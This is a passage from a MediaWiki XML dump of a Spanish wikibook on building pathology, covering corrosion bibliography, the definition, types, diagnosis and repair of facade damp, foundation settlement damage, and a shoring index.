=== Bibliografía ===

::- F. Quintero Moreno (1991): Algunas ideas sobre rehabilitación de estructuras de acero en edificación 	urbana. CURSO DE PATOLOGÍA. CONSERVACIÓN Y RESTAURACIÓN DE EDIFICIOS. TOMO2. Colegio Oficial de Arquitectos de Madrid, Madrid, 1991. ISBN 84-7740-040-7. Biblioteca UPM, 69.059 CUR pat 2
::- Juan Monjo Carrió (1991): oxidación y corrosión de elementos metálicos de fachada. Reparación y prevención. CURSO DE PATOLOGÍA. CONSERVACIÓN Y RESTAURACIÓN DE EDIFICIOS. TOMO3. Colegio Oficial de Arquitectos de Madrid, Madrid, 1991. ISBN 84-7740-040-7. Biblioteca UPM, 69.059 CUR pat 3
::- Rafael Martínez Lasheras (1984): Patología de las estructuras metálicas y mixtas. CURSO DE REHABILITACIÓN. TOMO 5. LA ESTRUCTURA. Colegio Oficial de Arquitectos de Madrid, Madrid, 1985. ISBN 84-85572-70-X. Biblioteca ETSAM, 69.059 CUR 5
::- José Rodríguez Montero (1992): La corrosión en la edificación, patología y control. CONGRESO SOBRE PATOLOGÍA Y CONTROL DE CALIDAD EN LA CONSTRUCCIÓN. Consejería de Obras Públicas y Transportes, Sevilla, 1992.ISBN 84-87001-97-1. Biblioteca ETSAM, 69.059 CON ACT

{{AutoCat}}</text>
      <sha1>6sxrdjutao49u7d4v41xw1gw7hngf57</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Humedades/Definición</title>
    <ns>0</ns>
    <id>13630</id>
    <revision>
      <id>430181</id>
      <parentid>123540</parentid>
      <timestamp>2026-08-02T11:56:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430181</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="928" sha1="1gopai21yn0et4v3gtz02ygxqjtrqmj" xml:space="preserve">::'''1. DEFINICIÓN'''


	La humedad es la presencia indeseada de agua en estado líquido en zonas, épocas y períodos variables (en estado gaseoso no puede hablarse propiamente de humedad, en cambio cuando se condensa el agua es un líquo:

   a)	ambientes nocivos para la salud.

   b)	disgregaciones, disociaciones y descomposiciones físicas, químicas y biológicas sobre los materiales en que aparece.

   c)	efectos antiestéticos o desagradables a los sentidos: olores, abombamientos, manchas, cambios en textura y color, etc.

	 Pero con frecuencia las humedades son el origen de otras lesiones constructivas, incluso más graves, que pueden llegar a cobrar tanta importancia por el riesgo que comportan, que ocultan la que fue verdadera causa (casos de humedades mal reparadas, a destiempo, o sólo alternadas, heladas, desprendimientos…


[[Patología de la edificación/Fachadas/Humedades|HUMEDADES]]

{{AutoCat}}</text>
      <sha1>1gopai21yn0et4v3gtz02ygxqjtrqmj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Humedades/Tipología</title>
    <ns>0</ns>
    <id>13637</id>
    <revision>
      <id>430182</id>
      <parentid>123564</parentid>
      <timestamp>2026-08-02T11:57:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430182</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="911" sha1="szesrp7nbj7lc6bjp51l5qsbf7yu97n" xml:space="preserve">:'''2. TIPOLOGÍA'''


	En un edificio concurren gran variedad de materiales con características y capacidades de absorción de agua muy diferentes. Según su procedencia, o forma de extenderse el agua en una unidad constructiva, podemos distinguir las siguientes humedades:


:[[/Humedad de obra|2.1. HUMEDAD DE OBRA]]

:[[/Humedad por filtración|2.2. HUMEDAD POR FILTRACIÓN]]

:[[/Humedad capilar|2.3. HUMEDAD CAPILAR]]

:[[/Humedad por condensación|2.4. HUMEDAD POR CONDENSACIÓN]]

:[[/Humedad accidental|2.5. HUMEDAD ACCIDENTAL]]


[[Patología de la edificación/Fachadas/Humedades|HUMEDADES]]

:[[patología de la edificación/Fachadas/Humedades/Definición|1. Definición]]

:'''2. Tipología'''

:[[patología de la edificación/Fachadas/Humedades/Diagnosis|3. Diagnosis]]

:[[patología de la edificación/Fachadas/Humedades/Reparación y prevención|4. Reparación y Prevención]]

{{AutoCat}}</text>
      <sha1>szesrp7nbj7lc6bjp51l5qsbf7yu97n</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Lesiones</title>
    <ns>0</ns>
    <id>13643</id>
    <revision>
      <id>430119</id>
      <parentid>373563</parentid>
      <timestamp>2026-08-02T11:43:57Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430119</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="8148" sha1="fhr83g8gnwq79g24xmnsouyv2ym095s" xml:space="preserve">==Introducción==

Son cedimientos del plano de apoyo de la estructura del edificio, por la tensión provocada por el peso del mismo. El terreno se deforma por el peso. Estas deformaciones del suelo normalmente se estabilizan con el tiempo, por esto, casi todos los edificios sufren ligeros asientos en los primeros años. El técnico encargado de los cálculos, tiene en cuenta estas primeros asientos y dimensiona la cimentación para que estos asientos sean admisibles. Por esto, el problema no es que el edificio asiente, sino que los asientos produzcan deformaciones tales que produzcan lesiones de importancia en el edificio.

Los asientos los podemos clasificar según el sitio donde se manifiesten:
•	Generales 
•	Puntuales

Cuando todos los puntos de la cimentación ceden igual, se trata de un asiento uniforme y en principio podría no revestir peligro si no es de consideración. Sin embargo, puede darse el caso de que el asiento sea de importancia y poner en peligro la seguridad estructural del edificio. Otra variante mas peligrosa, son los asientos diferenciales, que se manifiestan cuando en una zona se manifiestan mas asientos que en otra.
Otro tipo de asientos diferenciales se manifiestan, cuando por la diversidad de las características del terreno sólo unas zonas tienen asientos, mientras que otras no los sufre. En este caso hablamos además de asientos puntuales.

Los asientos los podemos identificar por manifestarse en giros y desplomes, grietas o fisuras y desniveles y flechas.

=='''Grietas y fisuras:'''==
[[Imagen:Fisura_copia.jpg|400px|thumb|right|grietas y fisuras]]
Son lesiones provocadas por los asientos diferenciales excesivos, sobres estructuras que no responden bien a tracción. Estas lesiones siempre se manifiestan perpendiculares a la tracción, por lo que, mediante un estudio detallado de las manifestaciones en las fábricas de ladrillo, mampostería, hormigón armado, tabiques, etc.,  podremos encontrar el foco o focos de asientos culpables de las lesiones.
En estructuras de muros de fábrica, la aparición de un asiento provoca fisuras con forma de arco de descarga en las zonas más débiles del muro. En las ventanas. 
En estructuras de hormigón armado el efecto es el mismo, aunque la estructura se comporte como un todo y solo aparezcan lesiones en los pórticos afectados. Si la estructura no puede soportar estas tensiones, es en la fachada donde más claramente se apreciarán estos efectos.
En general en estructuras de acero y de madera, será la tabiquería la que indique la presencia de asientos, por que al ser sistemas estructurales que no funcionan de manera monolítica, son ellos los que mejor reflejarán las lesiones.

Estas lesiones se pueden identificarse dependiendo de la zona del edificio en la que se manifiesten:


==='''Movimientos de borde:'''===

Se pueden separar a su vez en dos grupos

-Cuando se produce el descenso del testero de un edificio, en cuyo caso se pueden manifestar en una banda estrecha próxima a la fachada o se pueden propagar mas extensamente si el aligeramiento de la fachada se lo permite.

[[Imagen:fachada aligerada.jpg|150px|thumb|right|fachada muy anisótropa o aligerada]]

fachada homogénea y fachada muy anisótropa o aligerada

-Cuando el descenso se produce en las esquinas se debe a tensiones que se manifiestan en fisuras inclinadas en ambas caras de la esquina. 
[[Imagen:torsion esquina.jpg|150px|thumb|right|torsion esquina]]
descenso de esquina y torsión de esquina

[[Imagen:Asientos_copia.jpg|300px|thumb|right|Asientos]]

==='''Movimientos internos:'''===

Cuando las tensiones se reflejan en sistema interiores de los edificios y no su zona más exterior. Igualmente se pueden subdividir.
-Cuando el descenso se produce en el centro de paramentos homogéneos, las fisuras se dibujan como arcos de descarga continuos. Si por el contrario, el paramento está compuesto por ventanas, las fisuras se manifestarán en forma de arcos pero entre las esquinas de las ventanas.

[[Imagen:Arcos_descarga.jpg|300px|thumb|right|Arcos de descarga]]


-Cuando lo que se produce es un descenso de pilares, las fisuras aparecen entre pórticos, en la tabiquería, dibujando unas diagonales que acaban en las verticales del descenso. Incluso se puede llegar a dar el caso de pilares que se quedan colgados de la estructura tras haberse producido un asiento bajo él.
 
[[Imagen:Asiento_pilares_copia.jpg|300px|thumb|right|Asiento de pilares]]

==='''Movimientos generalizados:'''===

Estos casos se dan cuando la deformación afecta a todo el edificio en conjunto. En estos tipos se diferencian dos casos claros:
-Cuando la deformación se aprecia como una deformación convexa, en la que las fisuras se van manifestando cada vez mas verticales según se acercan al centro del vano. En estos casos, es la cubierta la que soportará la máximas tensiones. Se suelen dar en suelos de arcillas expansivas.

[[Imagen:Grietas2_copia.jpg|300px|thumb|right|Grietas por deformación convexa]]  


-Cuando, por el contrario, lo que se aprecia es una deformación cóncava, las causas y los efectos son muy parecidos a los anteriores, pero en este caso muchas veces el culpable es un incorrecto atado de los zunchados de la cimentación. Al producirse la deformación, se pueden producir un efecto de aplastamiento de muros por las fuerzas de compresión que tiene que soportar el edificio en la parte central superior, incluso pudiendo llegar a manifestarse en desprendimientos de cornisas.

[[Imagen:Concavas_copia.jpg|300px|thumb|right|Deformaciones cóncavas]]

=='''Giros y desplomes:'''==

Estas lesiones son muy claramente apreciables. Consisten en la pérdida de verticalidad de estructuras como muros o soportes, produciéndose un giro respecto un eje vertical previo. Este tipo de lesiones puede afectar a solo una parte del edificio o bien a todo el conjunto. Si se da este último caso, puede que no sufran daños apreciables los elementos constructivos, sin embargo en el caso de torres, donde es más apreciable, el asiento de alguna zona de la cimentación puede provocar giros de la estructura que pueden mantenerse estables o provocar la ruina estructural.
Se pueden diferenciar distintos tipos de giros dependiendo del elemento estructural afectado. 
Giros de muros de carga:
Se producen cuando una fachada de muro de carga sufre un asiento y se despega del edificio produciéndose un giro del mismo respecto de la vertical.


==='''Giro de pilares:'''===

Estas lesiones se aprecian en zonas con problemas de deformación de la cimentación o estructuras donde se pueden producir empujes descompensados, como por ejemplo en estructuras de bóvedas y arcos.

[[Imagen:Desorganizacion_copia.jpg|300px|thumb|right|Desorganización de bóveda por giro en la cimentación]]

==='''Giros de edificios exentos:'''===

Como se ha comentado anteriormente, se produce cuando todo el edificio funciona de manera monolítica y las tensiones que produce sobre el terreno son demasiado importantes en algunas zonas, conllevando el giro parcial y paulatino.

[[Imagen:Monolito_copia.jpg|300px|thumb|right|Giro monolítico de un edificio por proximdad de una capa muy compresible]]

==='''Giros de edificios y elementos adosados:'''===

Este tipo de giro se produce cuando en el muro de medianería o separación entre elementos distintos se produce una figuración que permite el desplome parcial del edificio, funcionando la estructura como partes aisladas.

[[Imagen:Desgarros_copia.jpg|300px|thumb|right|Desgarros por torres]] 

También se da el caso de mezcla de varios tipos de giros, pero estos casos requieren un estudio mucho mas detallado.

=='''Desniveles y Flechas:'''==

Los desniveles horizontales o pérdida de horizontalidad de elementos estructurales son claros indicadores de patologías con los asientos en la cimentación. Aunque en algunos casos cuando este tipo de lesiones ya son apreciables a simple vista, ya han aparecido otro tipo de lesiones sintomáticas de asientos.

== Artículos Relacionados ==
* [http://www.construmatica.com/construpedia/Desplome Más sobre Desplome en Construmática]

{{AutoCat}}</text>
      <sha1>fhr83g8gnwq79g24xmnsouyv2ym095s</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Humedades/Diagnosis</title>
    <ns>0</ns>
    <id>13645</id>
    <revision>
      <id>430183</id>
      <parentid>123544</parentid>
      <timestamp>2026-08-02T11:57:24Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430183</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7943" sha1="dhbduref93zfzvbxqybci0gduqo6upb" xml:space="preserve">::'''3. DIAGNOSIS'''


:'''3.1. HUMEDAD DE OBRA''': La coloración de los materiales, la fabricación de pastas y morteros, los hormigones, etc. tienen un proceso de secado muy lento, al ocupar el edificio sin haber concluido este proceso; la producción de vapor propia del uso dificulta el secado. Así mismo, la aplicación de revestimientos decorativos impermeables obstaculizan este proceso. Se pueden llegar a formar zonas húmedas, generalmente en caras inferiores de los forjados, por un reparto de humedad.
	Este tipo de humedad hemos de descartarla en edificios no recientes, puesto que sólo puede aparecer al terminar la obra. No obstante, es fácil confundirla con humedades de condensación o de capilaridad. Por lo que en estos casos deberíamos realizar un estudio de posibilidad de condensación y comprobar también la posible humedad por capilaridad. Como medida general, deberíamos asegurar que el cerramiento se mantiene seco durante 30 días después de terminado el secado y a pesar de seguir el local en uso o en nuevo período de lluvias. Sólo entonces podremos afirmar que la humedad lo era de obra.


:'''3.2. HUMEDAD POR FILTRACIÓN''': Se debe establecer, del mejor modo, una relación causa-efecto por la investigación de hechos o circunstancias concurrentes antes o después de la aparición de la lesión. Establecer el carácter periódico o permanente; la relación con fenómenos naturales o no naturales.
	Siguiendo el esquema utilizado en el punto 2.2. (tipologías de humedad por filtración) analizaremos la diagnosis en las diferentes situaciones señaladas en cuanto a humedades por filtración en fachadas:

::-En los remates superiores: las filtraciones en albardillas y petos de terrazas no suelen ofrecer dudas, ya que difícilmente coinciden con otro tipo de humedad.

::-En todo tipo de relieves: en estas plataformas horizontales puede haber confusión con las llamadas “microcapilaridades”. Aunque éstas suelen permanecer en la capa exterior del cerramiento, mientras que las filtraciones tienden a penetrar hacia el interior del edificio. Puede ser necesaria una pequeña “cala” para observar el recorrido.

::-En huecos de ventana: la filtración por juntas constructivas o practicables es relativamente evidente, aunque es conveniente repasar meticulosamente los sellados reponiendo las zonas destruidas.

::-En los paños ciegos: puede confundirse con humedades de obra, condensación, capilaridad (cerca de los arranques) e incluso con humedades accidentales. Para ver las posibilidades de la filtración, habrá que conocer la porosidad de los materiales constitutivos de la fachada y, sobre todo, el coeficiente de absorción de la capa exterior. Asimismo, se realizarán reparaciones puntuales en aquellos puntos conflictivos analizados donde encontremos existencia de grietas o fisuras, falta o defecto del material de acabado exterior, existencia de acumulaciones de agua importantes como jardineras, embalses, etc.


:'''3.3. HUMEDAD CAPILAR''': Tienen su origen en un foco húmedo y pueden proceder de una filtración anterior. Su extensión y trayectoria dependen de la capilaridad de los materiales que atraviesan, de la cantidad de agua que puede admitir la superficie expuesta y de la posibilidad que tenga de secarse desde el interior.
	El agua de la superficie es más fuertemente retenida en la proximidad de contactos entre los gránulos. Es posible que el agua pueda penetrar en el interior (pasar de A a B y a C) resbalando sobre la superficie de los gránulos o por sucesivos estados húmedos y secos. La extensión y trayectoria de la lesión no es tan arbitraria como aparenta, sino que guarda relación con la porosidad de las fábricas, con la del agua por capilaridad depende de la estructura celular del material, que puede ser abierta (capilares) cerrada (burbujas) o mixta, siendo la primera la más desfavorable. EL agua asciende hasta que el incremento de peso de las microcolumnas es capaz de contrarrestar la resultante activa de las fuerzas intersticiales.
	Para 1 mm. de diámetro el agua sube 15 mm.
	Para 0,01 mm. de diámetro el agua sube 15.000 mm.
	Para 0,0001 mm. de diámetro el agua sube 150.000 mm.

	Estadísticamente, aparecen más en las zonas bajas de los edificios (sótanos, muros de contención…) y en la proximidad de instalaciones húmedas.
	En el arranque de los muros desde el terreno, la humedad asciende por el interior del espesor del cerramiento o por su exterior, produciéndose en el segundo caso un fenómeno capilar superficial, que puede incluso limitarse al acabado exterior. Este tipo de humedad puede manifestarse también por la aparición de manchas salinas en la superficie de evaporación o por el desprendimiento de los revestimientos, formando una especie de barba florida en la línea de culminación de la altura capilar.
	La aparición de una banda oscurecida en las zonas bajas de la edificación suele ser el primer síntoma que delata la existencia de este tipo de humedades. Sin embargo, hay ocasiones en que la sintomatología no es tan clara. Los revestimientos de los muros y de la zona baja de los muros pueden degradarse y llegar a desmoronarse como consecuencia de la acción eflorescente de las sales cristalizadas y vehiculadas por el agua capilar. Sin que haya aparecido hasta ese momento mancha alguna que la delate.
	La altura capilar es mayor y más intensa en las fachadas orientadas al norte.
	En las fábricas de poco espesor, el contenido de humedad es uniforme en toda su anchura, mientras que en muros más gruesos se incrementa levemente hacia su mitad, como consecuencia de la menor evaporación existente. En los paños ciegos, el volumen de humedad sueles ser constante en la parte central, mientras que decrece en las proximidades de las esquinas. Esta peculiar distribución sirve para distinguir las humedades de capilaridad de las de condensación, cuyo contenido decrece rápidamente hacia el exterior.
	En edificios antiguos, es común que con el tiempo se haya modificado por lavado la estructura capilar de los morteros, que se manifestarán especialmente sensibles a la ascensión de este tipo de humedad. 


:'''3.4. HUMEDAD POR CONDENSACIÓN''': La ventilación adecuada (continua y suave, o brusca y rápida, manteniendo la inercia del cerramiento) la adecuación de la temperatura interior, estanquidad y aislamiento, son las bases para producirse la condensación en las superficies.
	Pero el vapor de agua se difunde a través de los materiales entre sus capas, ofreciendo mayor riesgo los cerramientos en contacto con ambientes más fríos. Así en estos, junto con el aislamiento térmico que controla las diferencias de temperatura, se ha de controlar la diferencia de presiones de vapor con la interposición de barreras que dejen el vapor de agua en las caras que no han alcanzado la temperatura de rocío.
	La humedad por condensación no da lugar a confusiones cuando se produce en la superficie interior del cerramiento y ésta es impermeable; puesto que resulta un goteo inconfundible. Si dicha superficie es porosa, puede confundirse con capilaridad, filtración, humedad de obra e, incluso, accidental, según su localización, lo que obligará a un estudio de los gradientes de temperatura y la posible existencia de puentes térmicos.
	Dentro del espesor del cerramiento la confusión es más probable, sobre todo con las humedades accidentales, aunque su identificación es fácil cuando se trata de puentes térmicos, debido a su localización tan concreta.


:'''3.5. HUMEDAD ACCIDENTAL''': Ante una humedad accidental confundible con algún otro tipo de humedad deberemos estudiar la documentación técnica para detectar la presencia de conductos y su posible sujeción incorrecta. También podremos recurrir al uso de detectores de metales embebidos (“pachómetros”) o al método más directo de la cala.


[[../|HUMEDADES]]

{{AutoCat}}</text>
      <sha1>dhbduref93zfzvbxqybci0gduqo6upb</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Fachadas/Humedades/Reparación y prevención</title>
    <ns>0</ns>
    <id>13648</id>
    <revision>
      <id>430184</id>
      <parentid>123546</parentid>
      <timestamp>2026-08-02T11:57:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430184</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12380" sha1="2pqs3klvrd4cuoor1zmtqlhmvj51w82" xml:space="preserve">::'''4. REPARACIÓN Y PREVENCIÓN'''


:'''4.1. HUMEDAD DE OBRA''': en la reparación de la humedad de obra se deberá proceder al secado adecuado del cerramiento hasta alcanzar su “equilibrio” y se deberá reponer el acabado.
		
::'''4.1.1. Secado''': Puede ser natural o artificial. Debemos analizar la necesidad de eliminar (picando la pintura o levantando el alicatado, por ejemplo) o no el acabado, que supone una barrera a la salida de la humedad. Habrá que decidir el tipo de secado a usar, para lo que tenemos considerar:
			
:::- El grado de humedad existente.
:::- El tiempo de que disponemos.
:::- El ambiente climático.
:::- Los medios económicos disponibles.
	
::El tipo de secado podrá ser:

::a)  AIREACIÓN NATURAL: la cual facilitamos realizando una serie de agujeros uniformemente distribuidos en la zona húmeda, con los cuales aumenta la superficie de evaporación y la aproxima al núcleo del elemento, donde suele estar más concentrada la humedad. Si la aireación es temporal, basta con el orificio practicado directamente, que después se cubre al rehacer el acabado. Si se pretende dejar la aireación   permanente deberemos introducir unos tubos perforados que permitan el   secado continuo. 
 

::b)   SECADO ARTIFICIAL: pretende conseguir la extracción acelerada de la humedad. Existen varios procedimientos, de los cuales los más corrientes son:

:::- Los calefactores: que proyectan aire caliente sobre la superficie del    cerramiento.
:::- Los deshumidificadores: que absorben la humedad. 
:::- La electroósmosis: que evita el ascenso de agua de capilaridad y elimina la humedad a base de hacerla pasar a otro elemento en contacto con nuestro cerramiento, normalmente el terreno próximo, mediante la creación de una “pila electroosmótica”. 

		
::'''4.1.2. Acabado definitivo''': una vez eliminada la causa de la lesión, podemos proceder a la corrección del efecto. Habrá que aplicar el nuevo acabado obedeciendo a las normas de su correcta ejecución.

::La prevención consistirá en asegurarnos de que el cerramiento en cuestión está suficientemente seco cuando vayamos a aplicarle el acabado correspondiente.


:'''4.2. HUMEDAD POR FILTRACIÓN''': La diagnosis no suele oponer dudas, mientras que la reparación se enfoca generalmente hacia la impermeabilización y el correcto drenaje del agua. Si la albardilla de mortero presenta erosión, será necesario rehacerla, adoptando las pendientes adecuadas, o sustituirla por otra de material impermeable y con suficiente vuelo por ambos lados. 

:Si se trata de albardillas de elementos prefabricados con vuelo insuficiente y sin goterón, la filtración se produce normalmente por las juntas, las posibles perforaciones o el borde. La mejor solución es reponerlas, pero si las piezas están en buen estado, con vuelo y pendientes correctas, pueden retacarse las juntas con mortero de cemento, expansivo o de resinas, o bien sellarse con productos elastómeros. Siempre puede resultar conveniente colocar una nueva albardilla de chapa metálica directamente sobre la existente.

:La forma de combatir la filtración está siempre en función de la causa. Si se trata únicamente de la propia porosidad del material, la solución es aplicar un acabado impermeabilizante, que deje respirar al cerramiento. Puede ser una pintura hidrófuga de poro abierto, pero también un aplacado con chapas metálicas o fibrocemento, alicatados y chapados de piedra, o un simple enfoscado o revoco de carácter hidrófugo. En el caso de los diedros horizontales en fachada, como primera medida terapéutica, hay que proceder al sellado de las juntas, siempre que el elemento horizontal se encuentre en buenas condiciones. De lo contrario, habrá que demoler y reponer de nuevo. Siempre deberemos también provocar o incrementar la pendiente, normalmente incluyendo un elemento impermeable tipo “semialbardilla”.

:Los balcones con peto de obra necesitan un sistema de desagüe y una impermeabilización de la base de los muros, hasta el nivel que pudiese alcanzar el agua (por lo menos 15 cm.). Además, es necesario prever un sistema de drenaje, dando continuidad al material impermeable con la boca del tubo drenante, de manera que en su encuentro no se puedan producir filtraciones. La introducción de una cazoleta de sumidero, entre el pavimento y la gárgola, es una solución adecuada para estos casos.


:'''4.3. HUMEDAD CAPILAR''': 

::'''4.3.1. Humedad del suelo'''
		
::La capilaridad se erradica en origen por medio de dos técnicas, el drenaje y la creación de barreras impermeables. Ambas requieren operaciones bastante complejas, pero se manifiestan muy eficaces en el cometido de eliminar la humedad:

:::4.3.1.1. DRENAJE:

:::Consiste en alejar el agua de la base del cerramiento por medio de diferentes procedimientos que enumeramos a continuación. Todos estos sistemas se manifiestan eficaces cuando el nivel de la capa freática es inferior a la cota más baja de la cimentación. Por debajo del nivel freático, la presión del agua impide su evacuación por gravedad.
	
:::Tipos de drenaje:

::-Cuña drenante: se excavan cuñas adosadas a la base del muro y realizadas mediante bataches alternados, con el objeto de no provocar asientos puntuales, de una profundidad tal que se alcance el suelo sobre el que reposa la cimentación. En su fondo, se coloca una tubería de hormigón o plástico. Esta tubería recoge las aguas lo más abajo posible (unos 15 cm. por debajo de la base) y las canaliza a puntos concretos hasta enviarlas a la red de saneamiento o a un pozo muerto.
		Deberá compactarse bien la zona rellenada. Esta solución requiere poder actuar desde el exterior y en todo el frente.

::-Ataguías: separadas de la base y con una profundidad que estará en función de las de la cimentación del edificio y de la presión de las aguas a atajar.
		Se usa para casos de corrientes freáticas del agua y puede ser: tablestacas adosadas de madera, piezas metálicas, zanjas lineales rellenas de material suelto y tubos que conducen el agua hasta la red de saneamiento. Se intenta descender el nivel del agua hasta por debajo de la cimentación, para evitar el contacto entre ambas.

::-Pozos drenantes: constituyen una red que hace que el nivel descienda lo suficiente para evitar el contacto con la cimentación.

::-Drenaje eléctrico: se trata de drenajes lineales, colocados normalmente en el arranque de los muros, que establecen una corriente eléctrica entre éste y el terreno en contacto, con polo negativo en el muro y positivo en la tierra, obligando al agua, como elemento conductor que es, a descender.

::-Aireación por puntos: se introducen unos tubos perforados en la base del muro, que facilitan la aireación interior del cerramiento. Pueden ser cerámicos o de material plástico.

:::4.3.1.2. BARRERA IMPERMEABLE:

:::Se trata de interponer una barrera entre el agua y el elemento constructivo. En esta solución, se ha de proceder a realizar actuaciones destructivas.
	
::- Lámina impermeable: se introduce en la base del muro. Las plásticas pueden ser bituminosas o de P.V.C. Las metálicas serán de materiales inoxidables.

::- Inyecciones: la lámina puede sustituirse por una inyección de mortero y resina de poliéster o de resinas epoxi. Con ello conseguimos dificultar la ascensión del agua mediante dos sistemas básicamente:
			
:a)  Obstrucción de los poros: persigue la reducción de la abertura de los mismos por debajo de las 0,010 micras hasta conseguir anular la ascensión. Se puede conseguir utilizando “mineralizadores” o prepolímeros de isociananto.

:b)  Hidrofugación: emplea líquidos a base de siliconas diluidas en disolventes orgánicos, también siloxanos.


::- Hidrofugación superficial: a base de morteros especiales de fraguado rápido. No evita la capilaridad propiamente dicha, sino que evita que la humedad salga al exterior por la superficie tratada. 

:::4.3.1.3. VENTILACIÓN Y OCULTACIÓN:

:::La unión de los factores ventilación y ocultación ha inducido a la construcción de “cámaras ventiladas”, que en los cerramientos debe disponerse en todo el paramento horizontal con las siguientes características: cámara de aire continua, con rejillas de ventilación superiores e inferiores, con canaleta de recogida de aguas en la base y con ausencia de yeso.
			

::'''4.3.2. Capilaridad en plataformas horizontales de fachada'''.

			
::En los casos de microcapilaridad o humedad capilar producida por plataformas horizontales de fachada, la reparación consiste en impedir que la humedad llegue al arranque del paramento horizontal, para ello tenemos tres vías:

:::- Aumentar la inclinación de la plataforma hacia el exterior.
:::- Establecer un pequeño escalón impermeable.
:::- Colocar rodapié.

  
::Como medidas preventivas debemos adoptar todas aquellas que resulten posibles durante la ejecución y que nos prevengan la aparición de la lesión, de acuerdo con lo visto en las líneas superiores.


:'''4.4. HUMEDADES DE CONDENSACIÓN:'''

::'''4.4.1. Eliminación de las causas''':

:::4.4.1.1. DE LA CONDENSACIÓN SUPERFICIAL INTERIOR

:::Aparecen dos líneas distintas de actuación:

::a)  Para evitar que no haya condensación: impedimos que se alcance la temperatura de rocío sobre la pared.:

::- Aumentamos la temperatura superficial interior del cerramiento.
::- Disminuimos la presión de vapor de agua del local.

::b)  Preparar la superficie del cerramiento para la posible condensación. Se trata de disponer de una superficie pulida e impermeable que no se vea afectada por el agua que se condensa sobre ella y que permita su secado y limpieza con relativa facilidad. Si el local lo admite, procederemos a impermeabilizar su superficie mediante la aplicación de un acabado pulido.


:::4.4.1.2. DE LA CONDENSACIÓN INTERSTICIAL

:::La actuación consiste en evitar que se alcance la temperatura de rocío en ningún punto del cerramiento. Tenemos tres posibilidades para ello:

::a)  Aumentar la temperatura general en el interior de la sección del cerramiento. Habrá que anular los puentes térmicos.
::b)  Disminuir la temperatura de rocío en la misma sección. Se podrá utilizar una barrera de vapor. En el caso de la condensación sobre tubería empotrada, habrá que protegerla con coquilla de espuma plástica o de fibra de vidrio, con barrera de vapor exterior, y volver a tapar. 
::c)  Disipar el vapor de agua dentro del cerramiento hacia el exterior donde se produce la condensación. Para ello introducimos una cámara de aire en el interior del cerramiento, ventilada hacia el exterior (fachadas y cubiertas ventiladas).


:::4.4.1.3. DE LA CONDENSACIÓN HIGROSCÓPICA

:::Habrá que deshacerse de las sales higroscópicas contenidas en el acabado del cerramiento. Para ello:

::a)  Eliminamos la capa de revoco que aloja las sales a base de una demolición y saneado.
::b)  Procederemos a base de algún sistema controlado de humedecer el revoco para disolver las sales higroscópicas.


:'''4.5. HUMEDADES ACCIDENTALES''': 


::'''4.5.1. Eliminación de las causas'''.

:::4.5.1.1. ROTURA POR SOBRETENSIÓN.
		
:::Si los conductos no ha sido colocados con la holgura suficiente para su correcta dilatación y contracción, habrá que introducirla una vez cambiada la pieza rota. La introducción de holgura es fundamental en el encuentro con elementos estructurales y en todo tipo de quiebros y piezas de encuentro de varias líneas.


:::4.5.1.2. ROTURA POR ACCIÓN MECÁNICA.

:::Se trata de evitar la acción directa de los movimientos de la obra sobre el conducto. Habrá que proteger mediante elementos rígidos y protecciones metálicas.


:::4.5.1.3. POR CORROSIÓN.

:::Se debe efectuar un estudio concreto de la causa de la corrosión:

::- Si se trata de un problema de constitución de la propia tubería, habrá q cambiar todos los conductos que estén en la misma situación.

::- Si el problema está en la aparición de un par galvánico, habrá que introducir un manguito aislante entre los dos elementos que lo forman.

::- Si la corrosión aparece por la superficie exterior del conducto por acumulación de humedad, se procederá a la limpieza total de la superficie e independencia de toda la tubería de dichos ataques mediante su protección con coquillas.


[[../|HUMEDADES]]

{{AutoCat}}</text>
      <sha1>2pqs3klvrd4cuoor1zmtqlhmvj51w82</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Apeos/Apeos de fachadas y huecos</title>
    <ns>0</ns>
    <id>13654</id>
    <revision>
      <id>430080</id>
      <parentid>124073</parentid>
      <timestamp>2026-08-02T11:05:25Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430080</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="563" sha1="ll3p07o8sglbwn21n3845rx8bbz1xj9" xml:space="preserve">==Apeos de fachadas y huecos==

[[Patología de la edificación/Apeos/Consideraciones generales|Consideraciones generales.]]

[[Patología de la edificación/Apeos/Desplome de muros (solo tirantes)|Desplome de muros (solo tirantes)]] 

[[Patología de la edificación/Apeos/Descarga de muros|Descarga de muros]] 

[[Patología de la edificación/Apeos/Sujeción de fachadas|Sujeción de fachadas]] 

[[Patología de la edificación/Apeos/Apeos de huecos|Apeos de huecos]] 

[[Patología de la edificación/Apeos/Apeos de pórtico|Apeos de pórtico ]]

{{AutoCat}}</text>
      <sha1>ll3p07o8sglbwn21n3845rx8bbz1xj9</sha1>
    </revision>
    <revision>
      <id>430081</id>
      <parentid>430080</parentid>
      <timestamp>2026-08-02T11:05:30Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
